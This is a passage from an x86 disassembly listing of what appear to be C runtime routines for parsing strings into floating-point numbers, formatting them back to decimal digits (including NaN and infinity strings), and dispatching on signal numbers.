		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41EB6E:				; CODE XREF: sub_41EB33+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41EB84
		cmp	cl, 9
		jz	short loc_41EB84
		cmp	cl, 0Ah
		jz	short loc_41EB84
		cmp	cl, 0Dh
		jnz	short loc_41EB87


loc_41EB84:				; CODE XREF: sub_41EB33+40j
					; sub_41EB33+45j ...
		inc	edi
		jmp	short loc_41EB6E
; ---------------------------------------------------------------------------


loc_41EB87:				; CODE XREF: sub_41EB33+4Fj
		push	4
		pop	esi


loc_41EB8A:				; CODE XREF: sub_41EB33+AEj
					; sub_41EB33+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41EE0D	; default
					; jumptable 0041EB96 case 10
		jmp	ds:off_41EFD4[eax*4] ; switch jump


loc_41EB9D:				; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 0
		jl	short loc_41EBAE
		cmp	bl, 39h
		jg	short loc_41EBAE


loc_41EBA7:				; CODE XREF: sub_41EB33+C4j
					; sub_41EB33+118j
		push	3
		jmp	loc_41EDCB
; ---------------------------------------------------------------------------


loc_41EBAE:				; CODE XREF: sub_41EB33+6Dj
					; sub_41EB33+72j
		cmp	bl, ds:byte_437F70
		jnz	short loc_41EBBD


loc_41EBB6:				; CODE XREF: sub_41EB33+124j
		push	5
		jmp	loc_41EE03
; ---------------------------------------------------------------------------


loc_41EBBD:				; CODE XREF: sub_41EB33+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EBE3
		dec	eax
		dec	eax
		jz	short loc_41EBD7
		sub	eax, 3
		jnz	loc_41EEA6
		jmp	loc_41EC66
; ---------------------------------------------------------------------------


loc_41EBD7:				; CODE XREF: sub_41EB33+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EBE3:				; CODE XREF: sub_41EB33+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EBEC:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41EBF9
		cmp	bl, 39h
		jle	short loc_41EBA7


loc_41EBF9:				; CODE XREF: sub_41EB33+BFj
		cmp	bl, ds:byte_437F70
		jz	loc_41ECC1
		cmp	bl, 2Bh
		jz	short loc_41EC3B
		cmp	bl, 2Dh
		jz	short loc_41EC3B
		cmp	bl, 30h
		jz	short loc_41EC66


loc_41EC14:				; CODE XREF: sub_41EB33+207j
		cmp	bl, 43h
		jle	loc_41EEA6
		cmp	bl, 45h
		jle	short loc_41EC34
		cmp	bl, 63h
		jle	loc_41EEA6
		cmp	bl, 65h
		jg	loc_41EEA6


loc_41EC34:				; CODE XREF: sub_41EB33+EDj
		push	6
		jmp	loc_41EE03
; ---------------------------------------------------------------------------


loc_41EC3B:				; CODE XREF: sub_41EB33+D5j
					; sub_41EB33+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41EE03
; ---------------------------------------------------------------------------


loc_41EC43:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 2
		jl	short loc_41EC51
		cmp	bl, 39h
		jle	loc_41EBA7


loc_41EC51:				; CODE XREF: sub_41EB33+113j
		cmp	bl, ds:byte_437F70
		jz	loc_41EBB6
		cmp	bl, 30h
		jnz	loc_41EE1B


loc_41EC66:				; CODE XREF: sub_41EB33+9Fj
					; sub_41EB33+DFj
		mov	eax, edx
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EC6D:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		mov	[ebp+var_10], edx ; jumptable 0041EB96 case 3


loc_41EC70:				; CODE XREF: sub_41EB33+184j
		cmp	ds:dword_437F6C, edx
		jle	short loc_41EC89
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41EC97
; ---------------------------------------------------------------------------


loc_41EC89:				; CODE XREF: sub_41EB33+143j
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41EC97:				; CODE XREF: sub_41EB33+154j
		test	eax, eax
		jz	short loc_41ECB9
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ECB1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41ECB4
; ---------------------------------------------------------------------------


loc_41ECB1:				; CODE XREF: sub_41EB33+16Cj
		inc	[ebp+var_8]


loc_41ECB4:				; CODE XREF: sub_41EB33+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EC70
; ---------------------------------------------------------------------------


loc_41ECB9:				; CODE XREF: sub_41EB33+166j
		cmp	bl, ds:byte_437F70
		jnz	short loc_41ED28


loc_41ECC1:				; CODE XREF: sub_41EB33+CCj
		mov	eax, esi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41ECC8:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	[ebp+var_4], 0	; jumptable 0041EB96 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41ECE1


loc_41ECD4:				; CODE XREF: sub_41EB33+1ACj
		cmp	bl, 30h
		jnz	short loc_41ECE1
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECD4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EB33+19Fj
					; sub_41EB33+1A4j ...
		cmp	ds:dword_437F6C, edx
		jle	short loc_41ECFA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED08
; ---------------------------------------------------------------------------


loc_41ECFA:				; CODE XREF: sub_41EB33+1B4j
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ED08:				; CODE XREF: sub_41EB33+1C5j
		test	eax, eax
		jz	short loc_41ED28
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ED23
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41ED23:				; CODE XREF: sub_41EB33+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECE1
; ---------------------------------------------------------------------------


loc_41ED28:				; CODE XREF: sub_41EB33+18Cj
					; sub_41EB33+1D7j
		cmp	bl, 2Bh
		jz	loc_41EC3B
		cmp	bl, 2Dh
		jz	loc_41EC3B
		jmp	loc_41EC14
; ---------------------------------------------------------------------------


loc_41ED3F:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	ds:dword_437F6C, edx ; jumptable 0041EB96 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41ED5B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED69
; ---------------------------------------------------------------------------


loc_41ED5B:				; CODE XREF: sub_41EB33+215j
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ED69:				; CODE XREF: sub_41EB33+226j
		test	eax, eax
		jz	loc_41EE1B
		mov	eax, esi
		jmp	short loc_41EDCC
; ---------------------------------------------------------------------------


loc_41ED75:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		lea	ecx, [edi-2]	; jumptable 0041EB96 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41ED85
		cmp	bl, 39h
		jle	short loc_41EDC9


loc_41ED85:				; CODE XREF: sub_41EB33+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jz	short loc_41EDF5
		sub	eax, 3
		jnz	loc_41EEA9


loc_41ED9A:				; CODE XREF: sub_41EB33+2A4j
		push	8
		jmp	short loc_41EE03
; ---------------------------------------------------------------------------


loc_41ED9E:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		mov	[ebp+var_20], edx ; jumptable 0041EB96 case 8


loc_41EDA1:				; CODE XREF: sub_41EB33+276j
		cmp	bl, 30h
		jnz	short loc_41EDAB
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EDA1
; ---------------------------------------------------------------------------


loc_41EDAB:				; CODE XREF: sub_41EB33+271j
		cmp	bl, 31h
		jl	loc_41EEA6
		cmp	bl, 39h
		jg	loc_41EEA6
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------


loc_41EDBF:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 7
		jl	short loc_41EDD2
		cmp	bl, 39h
		jg	short loc_41EDD2


loc_41EDC9:				; CODE XREF: sub_41EB33+250j
					; sub_41EB33+28Aj
		push	9


loc_41EDCB:				; CODE XREF: sub_41EB33+76j
		pop	eax


loc_41EDCC:				; CODE XREF: sub_41EB33+240j
		dec	edi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EDD2:				; CODE XREF: sub_41EB33+28Fj
					; sub_41EB33+294j
		cmp	bl, 30h
		jnz	short loc_41EE1B
		jmp	short loc_41ED9A
; ---------------------------------------------------------------------------


loc_41EDD9:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	[ebp+arg_18], 0	; jumptable 0041EB96 case 11
		jz	short loc_41EE09
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jnz	loc_41EEA9


loc_41EDF5:				; CODE XREF: sub_41EB33+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EE01:				; CODE XREF: sub_41EB33+258j
					; sub_41EB33+2B8j
		push	7


loc_41EE03:				; CODE XREF: sub_41EB33+85j
					; sub_41EB33+103j ...
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EE09:				; CODE XREF: sub_41EB33+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41EE0D:				; CODE XREF: sub_41EB33+5Dj
					; sub_41EB33+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041EB96 case 10
		jz	loc_41EEAB
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EE1B:				; CODE XREF: sub_41EB33+12Dj
					; sub_41EB33+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41EEAB
; ---------------------------------------------------------------------------


loc_41EE23:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		mov	[ebp+var_20], 1	; jumptable 0041EB96 case 9
		xor	esi, esi


loc_41EE2C:				; CODE XREF: sub_41EB33+339j
		cmp	ds:dword_437F6C, 1
		jle	short loc_41EE44
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE53
; ---------------------------------------------------------------------------


loc_41EE44:				; CODE XREF: sub_41EB33+300j
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE53:				; CODE XREF: sub_41EB33+30Fj
		test	eax, eax
		jz	short loc_41EE73
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41EE6E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE2C
; ---------------------------------------------------------------------------


loc_41EE6E:				; CODE XREF: sub_41EB33+334j
		mov	esi, 1451h


loc_41EE73:				; CODE XREF: sub_41EB33+322j
		mov	[ebp+var_1C], esi


loc_41EE76:				; CODE XREF: sub_41EB33+371j
		cmp	ds:dword_437F6C, 1
		jle	short loc_41EE8E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE9D
; ---------------------------------------------------------------------------


loc_41EE8E:				; CODE XREF: sub_41EB33+34Aj
		mov	ecx, ds:off_437D60
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE9D:				; CODE XREF: sub_41EB33+359j
		test	eax, eax
		jz	short loc_41EEA6
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE76
; ---------------------------------------------------------------------------


loc_41EEA6:				; CODE XREF: sub_41EB33+99j
					; sub_41EB33+E4j ...
		dec	edi
		jmp	short loc_41EEAB
; ---------------------------------------------------------------------------


loc_41EEA9:				; CODE XREF: sub_41EB33+261j
					; sub_41EB33+2BCj
		mov	edi, ecx


loc_41EEAB:				; CODE XREF: sub_41EB33+2DDj
					; sub_41EB33+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41EF93
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41EED7
		cmp	[ebp+var_45], 5
		jl	short loc_41EECB
		inc	[ebp+var_45]


loc_41EECB:				; CODE XREF: sub_41EB33+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41EEDA
; ---------------------------------------------------------------------------


loc_41EED7:				; CODE XREF: sub_41EB33+38Dj
		mov	eax, [ebp+var_C]


loc_41EEDA:				; CODE XREF: sub_41EB33+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41EF89


loc_41EEE4:				; CODE XREF: sub_41EB33+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41EEF2
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41EEE4
; ---------------------------------------------------------------------------


loc_41EEF2:				; CODE XREF: sub_41EB33+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41EA6C
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41EF11
		neg	eax


loc_41EF11:				; CODE XREF: sub_41EB33+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41EF1C
		add	eax, [ebp+arg_10]


loc_41EF1C:				; CODE XREF: sub_41EB33+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41EF24
		sub	eax, [ebp+arg_14]


loc_41EF24:				; CODE XREF: sub_41EB33+3ECj
		cmp	eax, 1450h
		jle	short loc_41EF5B
		mov	[ebp+var_2C], 1


loc_41EF32:				; CODE XREF: sub_41EB33+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41EF3E:				; CODE XREF: sub_41EB33+454j
					; sub_41EB33+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41EFA4
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------


loc_41EF5B:				; CODE XREF: sub_41EB33+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41EF6B
		mov	[ebp+var_30], 1
		jmp	short loc_41EF32
; ---------------------------------------------------------------------------


loc_41EF6B:				; CODE XREF: sub_41EB33+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41F71C
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------


loc_41EF89:				; CODE XREF: sub_41EB33+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EB33+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------


loc_41EFA4:				; CODE XREF: sub_41EB33+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41EFB9
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41EFB9:				; CODE XREF: sub_41EB33+426j
					; sub_41EB33+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41EB33	endp

; ---------------------------------------------------------------------------
off_41EFD4	dd offset loc_41EB9D	; DATA XREF: sub_41EB33+63r
		dd offset loc_41EBEC	; jump table for switch	statement
		dd offset loc_41EC43
		dd offset loc_41EC6D
		dd offset loc_41ECC8
		dd offset loc_41ED3F
		dd offset loc_41ED75
		dd offset loc_41EDBF
		dd offset loc_41ED9E
		dd offset loc_41EE23
		dd offset loc_41EE0D
		dd offset loc_41EDD9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F004	proc near		; CODE XREF: sub_41DDDF+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F066
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F06A
; ---------------------------------------------------------------------------


loc_41F066:				; CODE XREF: sub_41F004+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F06A:				; CODE XREF: sub_41F004+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F090
		test	edi, edi
		jnz	short loc_41F090
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F090


loc_41F07B:				; CODE XREF: sub_41F004+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41F28E
; ---------------------------------------------------------------------------


loc_41F090:				; CODE XREF: sub_41F004+6Cj
					; sub_41F004+70j ...
		cmp	dx, si
		jnz	short loc_41F10F
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F0A9
		cmp	[ebp+arg_0], 0
		jz	short loc_41F0B8


loc_41F0A9:				; CODE XREF: sub_41F004+9Dj
		test	edi, 40000000h
		jnz	short loc_41F0B8
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F0FE
; ---------------------------------------------------------------------------


loc_41F0B8:				; CODE XREF: sub_41F004+A3j
					; sub_41F004+ABj
		test	cx, cx
		jz	short loc_41F0D2
		cmp	edi, 0C0000000h
		jnz	short loc_41F0D2
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F0E1
; ---------------------------------------------------------------------------


loc_41F0D2:				; CODE XREF: sub_41F004+B7j
					; sub_41F004+BFj
		cmp	edi, eax
		jnz	short loc_41F0F9
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Inf	; "1#INF"


loc_41F0E1:				; CODE XREF: sub_41F004+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F0F0:				; CODE XREF: sub_41F004+109j
		and	[ebp+var_4], 0
		jmp	loc_41F267
; ---------------------------------------------------------------------------


loc_41F0F9:				; CODE XREF: sub_41F004+C5j
					; sub_41F004+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F0FE:				; CODE XREF: sub_41F004+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F0F0
; ---------------------------------------------------------------------------


loc_41F10F:				; CODE XREF: sub_41F004+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F71C
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F170
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4FC
		pop	ecx
		pop	ecx


loc_41F170:				; CODE XREF: sub_41F004+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F18A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F18D
		jmp	loc_41F07B
; ---------------------------------------------------------------------------


loc_41F18A:				; CODE XREF: sub_41F004+173j
		mov	edi, [ebp+arg_C]


loc_41F18D:				; CODE XREF: sub_41F004+17Fj
		cmp	edi, 15h
		jle	short loc_41F195
		push	15h
		pop	edi


loc_41F195:				; CODE XREF: sub_41F004+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41F1AB:				; CODE XREF: sub_41F004+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F1AB
		test	esi, esi
		jge	short loc_41F1D5
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F1D5


loc_41F1C8:				; CODE XREF: sub_41F004+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA3F
		dec	esi
		pop	ecx
		jnz	short loc_41F1C8


loc_41F1D5:				; CODE XREF: sub_41F004+1B8j
					; sub_41F004+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41F232
		mov	[ebp+arg_C], ecx


loc_41F1E5:				; CODE XREF: sub_41F004+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9B3
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F1E5
		mov	eax, [ebp+arg_14]


loc_41F232:				; CODE XREF: sub_41F004+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41F26F


loc_41F23F:				; CODE XREF: sub_41F004+248j
		cmp	eax, ecx
		jb	short loc_41F252
		cmp	byte ptr [eax],	39h
		jnz	short loc_41F24E
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41F23F
; ---------------------------------------------------------------------------


loc_41F24E:				; CODE XREF: sub_41F004+242j
		cmp	eax, ecx
		jnb	short loc_41F256


loc_41F252:				; CODE XREF: sub_41F004+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41F256:				; CODE XREF: sub_41F004+24Cj
		inc	byte ptr [eax]


loc_41F258:				; CODE XREF: sub_41F004+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41F267:				; CODE XREF: sub_41F004+F0j
		mov	eax, [ebp+var_4]


loc_41F26A:				; CODE XREF: sub_41F004+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F26F:				; CODE XREF: sub_41F004+239j
					; sub_41F004+275j
		cmp	eax, ecx
		jb	short loc_41F27F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41F27B
		dec	eax
		jmp	short loc_41F26F
; ---------------------------------------------------------------------------


loc_41F27B:				; CODE XREF: sub_41F004+272j
		cmp	eax, ecx
		jnb	short loc_41F258


loc_41F27F:				; CODE XREF: sub_41F004+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41F28E:				; CODE XREF: sub_41F004+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41F26A
sub_41F004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F297	proc near		; CODE XREF: sub_41AB9C+3423p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41F2FE
		dec	eax
		dec	eax
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2EF
		sub	eax, 3
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2E2
		sub	eax, 6
		jz	short loc_41F2D5
		dec	eax
		jz	short loc_41F2C8
		or	eax, 0FFFFFFFFh
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------


loc_41F2C8:				; CODE XREF: sub_41F297+27j
		mov	esi, ds:dword_46975C
		mov	eax, offset dword_46975C
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2D5:				; CODE XREF: sub_41F297+24j
		mov	esi, ds:dword_469758
		mov	eax, offset dword_469758
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2E2:				; CODE XREF: sub_41F297+1Fj
		mov	esi, ds:dword_469760
		mov	eax, offset dword_469760
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2EF:				; CODE XREF: sub_41F297+10j
					; sub_41F297+15j ...
		push	edi
		call	sub_41F3C4
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2FE:				; CODE XREF: sub_41F297+Cj
		mov	esi, ds:dword_469754
		mov	eax, offset dword_469754


loc_41F309:				; CODE XREF: sub_41F297+3Cj
					; sub_41F297+49j ...
		cmp	esi, 1
		jnz	short loc_41F315
		xor	eax, eax
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------


loc_41F315:				; CODE XREF: sub_41F297+75j
		test	esi, esi
		jnz	short loc_41F320
		push	3
		call	sub_417838


loc_41F320:				; CODE XREF: sub_41F297+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41F332
		cmp	edi, 0Bh
		jz	short loc_41F332
		cmp	edi, 4
		jnz	short loc_41F358


loc_41F332:				; CODE XREF: sub_41F297+8Fj
					; sub_41F297+94j
		mov	ebx, ds:dword_469534
		and	ds:dword_469534, 0
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	edx, ds:dword_4383BC
		mov	ds:dword_4383BC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41F35B
; ---------------------------------------------------------------------------


loc_41F358:				; CODE XREF: sub_41F297+99j
		mov	ebx, [ebp+arg_0]


